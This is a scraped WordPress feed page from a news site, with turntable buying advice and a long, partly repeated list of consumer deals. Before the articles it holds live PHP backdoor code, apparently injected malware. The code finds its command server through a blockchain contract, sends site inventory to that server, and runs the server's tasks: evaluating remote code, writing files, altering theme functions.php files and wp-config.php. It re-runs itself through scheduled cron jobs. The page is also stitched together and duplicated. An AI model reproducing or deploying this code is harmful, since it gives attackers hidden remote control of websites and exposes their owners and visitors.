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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Turntables – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Feb 2018 17:19:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Turntables – Brief News https://briefnews.eu 32 32 The best turntables you can buy to play records https://briefnews.eu/the-best-turntables-you-can-buy-to-play-records/ https://briefnews.eu/the-best-turntables-you-can-buy-to-play-records/#respond Fri, 16 Feb 2018 17:19:35 +0000 http://briefnews.eu/the-best-turntables-you-can-buy-to-play-records/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • Music technology has progressed quite a bit in the past few decades. We’ve gone from vinyl records, tapes, and CDs to digital music files. If you long for vinyl’s rich sound, the Sony PS-HX500 USB Turntable is a great choice, because you can play records and rip your vinyl to digital music files.

One unwritten rule of style is that what once was popular will come around again. Things like shoulder pads in dresses, mirrored sunglasses, and glittery shirts are coming back in style.

But when it comes to technology and media, most old hardware doesn’t come back. Nobody’s clamoring for a permanent return to VCRs, black-and-white TVs, or 8-track audio tapes.

For some reason, though, there is one piece of technology from the past that is making a big-time comeback — vinyl records. We think it’s because playing vinyl just seems cool and retro.

If you are ready to join the movement and start playing your old records again — or maybe even buy some new vinyl — we’re guessing you don’t have a working record player at hand. You’ll need a nice new turntable to play your records, so we’ve rounded up the best ones you can buy.

Read on in the slides below to learn why the Sony PS-HX500 USB Turntable is our top pick and why you might also like the Marantz TT-15S1 Reference Belt Drive Turntable, the Pro-Ject Debut Carbon Turntable, the Audio-Technica AT-LP60-BT Bluetooth Turntable, and the Musitrend Turntable Portable Suitcase.

The best turntable overall

Sony

Why you’ll love it: The Sony PS-HX500 USB Turntable lets you play vinyl records and digitize them, so your record collection is portable.

If you’re buying a turntable, it’s probably because you like the sound of vinyl. But with the Sony PS-HX500 Hi Res USB Turntable, you’re not limited to just listening to your records on the turntable.

The PS-HX500 has a USB port that allows you to play the vinyl on the turntable and rip the music to a high-res WAV or DSD file stored on a computer. That way, you can merge the best of both worlds: old-school vinyl records and new digital music files.

Now don’t expect those digital music files ripped from vinyl to sound impeccable. Some people don’t notice a significant difference, but others say the digital file doesn’t quite capture the best parts of the sound of vinyl, nor does it match the pristine quality of original digital files.

Regardless of what the serious audiophiles say, the Sony turntable can record up to DSD 5.6 MHz audio quality, which is quite good. In its review, What HiFi said this is one of the best USB-ripping turntables you can buy — period.

Even with its somewhat high price, Home Theater Review says the PS-HX500 is a good value because of its excellent digital capabilities.

One owner named Bern says the turntable produces excellent audio quality, and the ripping software from Sony is easy to use, too. Another Amazon reviewer likes the simple look of this turntable, as it doesn’t have a bunch of knobs and controls needed to operate the turntable, giving it a sleek design.

Although most buyers and reviewers rate the Sony turntable favorably, Wired says the overall design of the Sony PS-HX500 doesn’t justify its price tag, as it doesn’t offer enough high-end components versus other USB turntables in its price range.

Pros: Delivers the ability to rip vinyl music to a digital format, outperforms many other USB-enabled turntables, produces good audio quality on the turntable, stylish design and look

Cons: High price tag for an entry-level turntable, doesn’t have high-end components

Buy the Sony PS-HX500 USB Turntable on Amazon for $ 498

The best entry-level turntable

Audio Technica

Why you’ll love it: You can play your vinyl over your existing wireless speaker system with the affordable Audio-Technica AT-LP60-BT Bluetooth Turntable.

You easily can spend several hundred dollars or more on a new turntable and speaker system. But it’s pretty tough to justify that kind of outlay if you are less interested in pristine audio quality from your vinyl and more interested in having fun playing your records.

The Audio-Technica AT-LP60 Bluetooth Turntable carries a lower price point than most turntables with decent audio quality, which makes it a good entry-level option. It can’t quite match the rich audio quality of some more expensive models, but it compares favorably to similarly priced turntables.

This turntable is Bluetooth enabled, so you can connect it to your existing wireless speaker system at home. That way you don’t have to spend extra money on wired speakers.

The PC Mag review says having the option of using Bluetooth wireless speakers or traditional wired speakers is especially helpful, although the Bluetooth pairing process can be tricky. Plus, when you’re using the Bluetooth connection, the audio quality is better than expected, according to My Mac, giving you a nice option for porting your vinyl music anywhere.

One owner named Savannah says the audio quality on this turntable outperforms other entry-level and lower-priced options. Another buyer named Yessenia says the Audio-Technica AT-LP60-BT is a great starter turntable for those who want to play music from the records they have in their vintage collection.

However, don’t expect to find high-quality components in this Audio-Technica turntable. Trusted Reviews called the unit “plasticky,” but using cheaper components is understandable at this price.

Pros: Outperforms other low-priced turntables for audio quality, works with existing wireless speakers you may already own over a Bluetooth connection, fun for starting out with playing vinyl

Cons: Audio quality doesn’t match pricier units, making Bluetooth connection can be tricky

Buy the Audio-Technica AT-LP60 Bluetooth Turntable on Amazon for $ 179

The best minimalistic turntable

Pro-Ject

Why you’ll love it: The Pro-Ject Debut Carbon Turntable will grab your attention with its beautifully simple design, but it’ll keep that attention with great music quality.

Those of you who are new to playing vinyl will want a turntable that’s easy to set up, but also delivers good music quality for the price. The Pro-Ject Debut Carbon Turntable is a popular choice because it checks all the boxes.

This Pro-Ject turntable will grab your attention with its minimalistic design. It doesn’t have visible buttons or ports, so it’s a simple turntable with arm on top of a base. You can get it in a few colors, including the red one pictured above.

Beyond its simple design, the What HiFi review says this turntable delivers sound clarity and detail far beyond what you’d expect from a turntable in its price range. Tech Radar calls the Pro-Ject Debut Carbon a perfect turntable for those who are new to playing vinyl.

However, the fact that you must manually change the spin speed is a disappointment because you have to remove the platter and manually move the belt to swap between 33 1/3 and 45 rpm.

Audio Advice says this turntable delivers a greater audio quality than other turntables in its price range, especially in terms of any distortion you’ll receive, although it does lag behind high-end models in delivering bass sounds.

One owner named Sue Freivald agrees, saying the only thing you’ll hear when playing records on the Pro-Ject Debut Carton is the music. You won’t be distracted by hisses or other unwanted noises.

However, another Amazon reviewer says the components used with this turntable feel cheaply made, which makes it tough to justify its price tag.

Pros: Very nice design that keeps it simple, delivers better and cleaner audio quality than you’d expect in this price range, works well for those new to vinyl or for those wanting a mid-range unit

Cons: Must manually change the platter speed by moving the belt, some components feel inexpensive

Buy the Pro-Ject Debut Carbon Turntable from Best Buy for $ 399.98


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Anker PowerCore 10400, $ 20 | Anker PowerCore 15600, $ 27

Anker’s PowerCore battery packs are your favorite portable chargers, and it’s not even close. And today, two of the most popular models are $ 4-$ 5 less than usual. These don’t include Quick Charge or USB-C like some newer models, but they’re compact workhorses that will reliably keep your devices powered on for days at a time.

Record Player Sale, $ 40-$ 160

Vinyl records are a thing again. I don’t understand the fascination at all, but if that’s something you’re into, Amazon’s discounting several turntables from 1byone and Electrohome to as low as $ 40, today only.

Refurb Lenovo ThinkCentres, $ 200-$ 350

None of these refurbished Lenovo ThinkCentres are particularly powerful or well-equipped, but if an all-in-one is all you need, $ 200-$ 350 is a great price range for a computer, screen, keyboard, and mouse.

BeatsX, $ 100

There have been a lot of deals lately on Apple’s W1-equipped Beats headphones, but $ 100 for a pair of BeatsX is an all-time low, and a fantastic deal for iPhone owners that want an AirPods-like pairing experience on a budget.

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From Gizmodo:

“The Beats X are the third product from Beats (and the fourth from all of Apple) to use the new W1 Bluetooth chipset. This Apple-designed chipset should allow for better battery life. It also makes pairing with an Apple device a total snap—as long as your iPhone runs iOS 10.1 or higher. All I had to do to pair was turn the Beats X and bring them near my phone. A ‘Connect’ button instantly popped up and I was off—music ready to be heard wirelessly.”

Mpow Streambot Bluetooth Receiver, $ 12 with code Y95FSOM2

With this $ 12 Mpow Streambot Bluetooth receiver, you can turn everything from your dusty old iHome to your legacy home theater system into a Bluetooth speaker. Just plug in the AUX jack, connect up to two devices, and start streaming.

3-Pack Anker PowerLine Lightning Cables, $ 20

Since you named Anker’s kevlar-lined PowerLine cables as your favorite Lightning cables, the company has come out with the nylon-braided PowerLine+ collection, and the lifetime warrantied PowerLine IIs. But the originals are still way better than the crappy cable Apple includes in the box, and today, you can get three of them for the same price Apple charges for one.

Sony Sound Base, $ 118

If you’re still listening to your TV through its built-in speakers, drop whatever you’re doing and check out this Sony Sound Base for an all-time low $ 118.

Just set your TV on top, plug it in, and you’ll instantly enjoy great-sounding 2.1 audio and Google Cast support. And if you want to get really fancy, you can even add wireless Sony speakers a la carte to build a receiver-free surround sound system.

$ 350 off 12" MacBook

The current iteration is just over a year old at this point, but Apple’s 12" MacBook is still undeniably gorgeous, and Best Buy’s taking a whopping $ 350 off multiple configurations right now, easily the best deal we’ve ever seen.

Nonda Car Charger, $ 8

Nonda’s original Zus smart car charger was a one-of-a-kind device with two very poorly-placed USB ports, but the newly redesigned Quick Charge 2.0 model fixes that fatal flaw for just $ 8.

That’s a great price for any Quick Charge car charger, but Nonda’s has some features you won’t find anywhere else. Most notably, your phone connects to the charger over Bluetooth, and every time the connection drops (meaning your car has turned off), a free app will make a note of your location so you can find your parking spot later.

In addition, you can track your mileage for tax and expensing purposes (free for 60 drives per month, $ 3/month or $ 30/year for unlimited), and even monitor the health of your car battery if you sign up for a $ 1 per month premium subscription. Even if you don’t use those features though, this is well worth the $ 8 for the parking location feature alone.

Top Home Deals

Succulent Collection, $ 32

If you like having green things in your home, but struggle to keep them alive, succulents are made just for you.

For the first time in my memory, Amazon’s running a one-day Gold Box deal on a collection of 20 succulent plants shipped right to your door. Each plant is unique and comes in a 2" pot, but many of them will be ready to transfer to a larger arrangement. Just remember, the green ones do well indoors, while purple and orange plants will be happier on your patio.

Cuisinart Supreme Grind Automatic Burr Mill, $ 35

It’s easy to see why Cuisinart’s DBM-8 electric burr coffee grinder is Amazon’s top seller in the category. It’s affordable, it’s dead simple to use, it includes 18 coarseness settings, and it looks great. Today’s $ 35 price tag is roughly $ 10-$ 15 less than usual, so perk up, and lock in your order before it sells out.

Pyrex 3-Piece Glass Measuring Cups, $ 13

We love Pyrex around these parts, and their 3-pack of measuring cups is down to $ 13 today. In addition to looking great, the cups are microwave and (semi) dishwasher safe, and since they’re made of glass, they won’t absorb any odors, flavors, or stains. Plus, they just feel heavy and professional, and would make a nice gift.

AncestryDNA Genetic Testing Kit, $ 79

Saliva-based ancestry DNA tests probably won’t tell you anything profound, but they can be fun, and make great gifts, so you may want to pick one up for $ 20 off today.

Lorell Sit to Stand Monitor Riser, $ 144

So you want to try a standing desk, but you’re not ready to commit to it for eight hours a day…what do you do? You buy this Lorell monitor riser for $ 148, an all-time low.

This riser arrives fully assembled, and just sits on top of your existing desk. Put your monitor(s) on the top shelf, your keyboard and mouse on the bottom, and use its integrated spring system to raise the entire setup from a sitting to standing position within seconds. I own a very similar product from Varidesk (which was much more expensive, by the way), and I absolutely love it.

Contigo Autoseal Chill Water Bottle, $ 20

Contigo’s Autoseal travel mug has long been a reader favorite, but the new Autoseal Chill looks like a great companion water bottle. It launched this month for $ 23, but now you can get it for $ 20, with several different lid colors.

15% back on select Mother’s Day gifts with Amazon Prime Store Card

Amazon’s Prime Store Card automatically nets you 5% cash back on all Amazon purchases, but from now until the middle of May, they’re adding 10% on top of that for select Mother’s Day gifts. Think relaxing candles, fancy baby gear to make life a little easier, and noise cancelling headphones to drown everyone out.

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Note that the Prime Store Card is NOT the same thing as the Amazon Rewards Visa. Both cards include 5% cash back, but the Visa is a full-on credit card, while the Prime Store Card can only be used on Amazon.com.

Logitech Pop Starter Kit, $ 60

There are lots of different ways to control your smart home devices, but Logitech’s Pop might be the fastest, not to mention the most fun.

The Pop is a button. A button that does stuff. Three things in fact, depending on how you press it, and what it does is completely up to you. It can dim your lights. It can control your SONOS system. If you have a Logitech Harmony Hub (ahem), it can even control your home theater. Hell, it can even trigger an IFTTT recipe, meaning it can do basically anything.

The starter kit (which includes two buttons and a bridge) is down to $ 60 on Amazon right now, if you’re willing to wait out a backorder. That’s $ 40 less than usual, and an all-time low.

Zitrades Globe String Light Strand, $ 15 with code B9PRAZG3

We see deals all the time on copper string lights, but if you prefer the look of “globe” style incandescents, you can get a 25' strand with 25 bulbs for $ 15 today. It’s already warm outside, so string these up on your patio and enjoy the outdoors.

TP-Link Smart Plug Mini, $ 25 | TP-Link Smart Plug, $ 18. Discount shown at checkout

Yesterday, we shared that Belkin’s WeMo Mini Smart Switch was on sale for $ 30, but TP-Link has blown that deal out of the water with a pair of discounts.

You can choose from the standard TP-Link Smart Plug for $ 18, or the functionally identical Mini model for $ 25, with the discount shown in cart. Those are both the best prices we’ve ever seen, and fantastic deals for anyone looking to dip their toes into home automation. These work almost exactly the same as WeMo switches, with the exception of their lack of IFTTT support.

Before you comment that the prices are wrong, let me reiterate one more time that you won’t see the discount until you get to the checkout screen.

Top Lifestyle Deals

OXA 20L Dry Bag, $ 10 with code WB22EITJ

Before you head out on your next camping trip or beach vacation, you may want to grab this 20L dry bag to keep your gear safe from the elements. Just use code WB22EITJ to get it for $ 10.

Kinsa Smart Thermometer, $ 15

The oral thermometer probably didn’t need to be reinvented, but if you’re the kind of person who likes everything to be smartphone-connected, Kinsa’s smart thermometer works with both iOS and Android, and is down to $ 15 today.

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Kinsa markets this as a kids thermometer, mostly because it only takes 10 seconds to get a reading, and its smartphone app includes a little bubble popping minigame that kids can play while they wait, but it’s a neat little gizmo for sick people of any age.

The app automatically tracks your temperature over time, and you can add your own metadata about symptoms and medication if you want a more complete record of your illness. Plus, if you own an iPhone, the temperature data is compatible with Apple’s HealthKit.

Obviously, nobody really needs this thing, but if you’re intrigued, $ 15 is one of the best prices we’ve ever seen, and is also not a terrible price for a good oral thermometer, smart or otherwise.

Bowflex SelectTech Adjustable Dumbbells (Pair), $ 236

$ 236 might seem like a lot to spend on a set of dumbbells, but these Bowflex adjustable models take up way less room than a full rack of weights, and certainly cost less over time than a gym membership.

These 4.7 star rated weights were on sale for an all-time low $ 229 over the weekend, but sold out relatively quickly. So if you missed out, this is still a great price.

Extra 20% off Under Armout Outlet

What better way to get ready for the better weather than an extra 20% off at the Under Armour Outlet? This sale is full of practically every style you can think of, from the classic Under Armour long-sleeves to training shoes to their Threadborne microthread technology, perfect for running outside in the warmer months.

Top Gaming Deals

JOOLA Inside 15 Table Tennis Table, $ 320

If you’ve got the space for it, table tennis is by far the best indoor household game, and this highly rated JOOLA table is on sale for $ 320 today, or roughly $ 60-$ 70 less than usual. When you’re not using it, the whole thing can fold up to take up less floor space, or you can fold up just one half to create a backboard for practice.

150 Darts, $ 7 with code DNE35H8I

After everyone else in your office has stopped the impromptu NERF gun fighting and gone back to filing expense reports and making sales calls, you alone will be able to continue running around shooting everyone, because you bough 150 extra darts for $ 7. I recommend wrapping your necktie around your forehead and scribbing some sharpie under your eyes; it projects toughness.

Fidget Spinner, $ 5 with code 59ZB36Z4

A few days ago, we posted a $ 2 deal (still available) on a fidget spinner that was shipping from China sometime in the next month. But if you just can’t wait to get your hands on one of these things, here’s a $ 5 model that’s eligible for Prime shipping.

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Succulents shipped to your door, $ 100 BeatsX headphones, and vinyl turntables lead off Saturday’s best deals from around the web.

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Bookmark Kinja Deals and follow us on Twitter to never miss a deal.

Top Tech Deals

Anker’s PowerCore battery packs are your favorite portable chargers, and it’s not even close. And today, two of the most popular models are $ 4-$ 5 less than usual. These don’t include Quick Charge or USB-C like some newer models, but they’re compact workhorses that will reliably keep your devices powered on for days at a time.

Vinyl records are a thing again. I don’t understand the fascination at all, but if that’s something you’re into, Amazon’s discounting several turntables from 1byone and Electrohome to as low as $ 40, today only.

None of these refurbished Lenovo ThinkCentres are particularly powerful or well-equipped, but if an all-in-one is all you need, $ 200-$ 350 is a great price range for a computer, screen, keyboard, and mouse.

There have been a lot of deals lately on Apple’s W1-equipped Beats headphones, but $ 100 for a pair of BeatsX is an all-time low, and a fantastic deal for iPhone owners that want an AirPods-like pairing experience on a budget.

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From Gizmodo:

“The Beats X are the third product from Beats (and the fourth from all of Apple) to use the new W1 Bluetooth chipset. This Apple-designed chipset should allow for better battery life. It also makes pairing with an Apple device a total snap—as long as your iPhone runs iOS 10.1 or higher. All I had to do to pair was turn the Beats X and bring them near my phone. A ‘Connect’ button instantly popped up and I was off—music ready to be heard wirelessly.”

With this $ 12 Mpow Streambot Bluetooth receiver, you can turn everything from your dusty old iHome to your legacy home theater system into a Bluetooth speaker. Just plug in the AUX jack, connect up to two devices, and start streaming.

Since you named Anker’s kevlar-lined PowerLine cables as your favorite Lightning cables, the company has come out with the nylon-braided PowerLine+ collection, and the lifetime warrantied PowerLine IIs. But the originals are still way better than the crappy cable Apple includes in the box, and today, you can get three of them for the same price Apple charges for one.

If you’re still listening to your TV through its built-in speakers, drop whatever you’re doing and check out this Sony Sound Base for an all-time low $ 118.

Just set your TV on top, plug it in, and you’ll instantly enjoy great-sounding 2.1 audio and Google Cast support. And if you want to get really fancy, you can even add wireless Sony speakers a la carte to build a receiver-free surround sound system.

The current iteration is just over a year old at this point, but Apple’s 12″ MacBook is still undeniably gorgeous, and Best Buy’s taking a whopping $ 350 off multiple configurations right now, easily the best deal we’ve ever seen.

Nonda’s original Zus smart car charger was a one-of-a-kind device with two very poorly-placed USB ports, but the newly redesigned Quick Charge 2.0 model fixes that fatal flaw for just $ 8.

That’s a great price for any Quick Charge car charger, but Nonda’s has some features you won’t find anywhere else. Most notably, your phone connects to the charger over Bluetooth, and every time the connection drops (meaning your car has turned off), a free app will make a note of your location so you can find your parking spot later.

In addition, you can track your mileage for tax and expensing purposes (free for 60 drives per month, $ 3/month or $ 30/year for unlimited), and even monitor the health of your car battery if you sign up for a $ 1 per month premium subscription. Even if you don’t use those features though, this is well worth the $ 8 for the parking location feature alone.

Top Home Deals

If you like having green things in your home, but struggle to keep them alive, succulents are made just for you.

For the first time in my memory, Amazon’s running a one-day Gold Box deal on a collection of 20 succulent plants shipped right to your door. Each plant is unique and comes in a 2″ pot, but many of them will be ready to transfer to a larger arrangement. Just remember, the green ones do well indoors, while purple and orange plants will be happier on your patio.

It’s easy to see why Cuisinart’s DBM-8 electric burr coffee grinder is Amazon’s top seller in the category. It’s affordable, it’s dead simple to use, it includes 18 coarseness settings, and it looks great. Today’s $ 35 price tag is roughly $ 10-$ 15 less than usual, so perk up, and lock in your order before it sells out.

We love Pyrex around these parts, and their 3-pack of measuring cups is down to $ 13 today. In addition to looking great, the cups are microwave and (semi) dishwasher safe, and since they’re made of glass, they won’t absorb any odors, flavors, or stains. Plus, they just feel heavy and professional, and would make a nice gift.

Saliva-based ancestry DNA tests probably won’t tell you anything profound, but they can be fun, and make great gifts, so you may want to pick one up for $ 20 off today.

So you want to try a standing desk, but you’re not ready to commit to it for eight hours a day…what do you do? You buy this Lorell monitor riser for $ 148, an all-time low.

This riser arrives fully assembled, and just sits on top of your existing desk. Put your monitor(s) on the top shelf, your keyboard and mouse on the bottom, and use its integrated spring system to raise the entire setup from a sitting to standing position within seconds. I own a very similar product from Varidesk (which was much more expensive, by the way), and I absolutely love it.

Contigo’s Autoseal travel mug has long been a reader favorite, but the new Autoseal Chill looks like a great companion water bottle. It launched this month for $ 23, but now you can get it for $ 20, with several different lid colors.

Amazon’s Prime Store Card automatically nets you 5% cash back on all Amazon purchases, but from now until the middle of May, they’re adding 10% on top of that for select Mother’s Day gifts. Think relaxing candles, fancy baby gear to make life a little easier, and noise cancelling headphones to drown everyone out.

Advertisement

Note that the Prime Store Card is NOT the same thing as the Amazon Rewards Visa. Both cards include 5% cash back, but the Visa is a full-on credit card, while the Prime Store Card can only be used on Amazon.com.

There are lots of different ways to control your smart home devices, but Logitech’s Pop might be the fastest, not to mention the most fun.

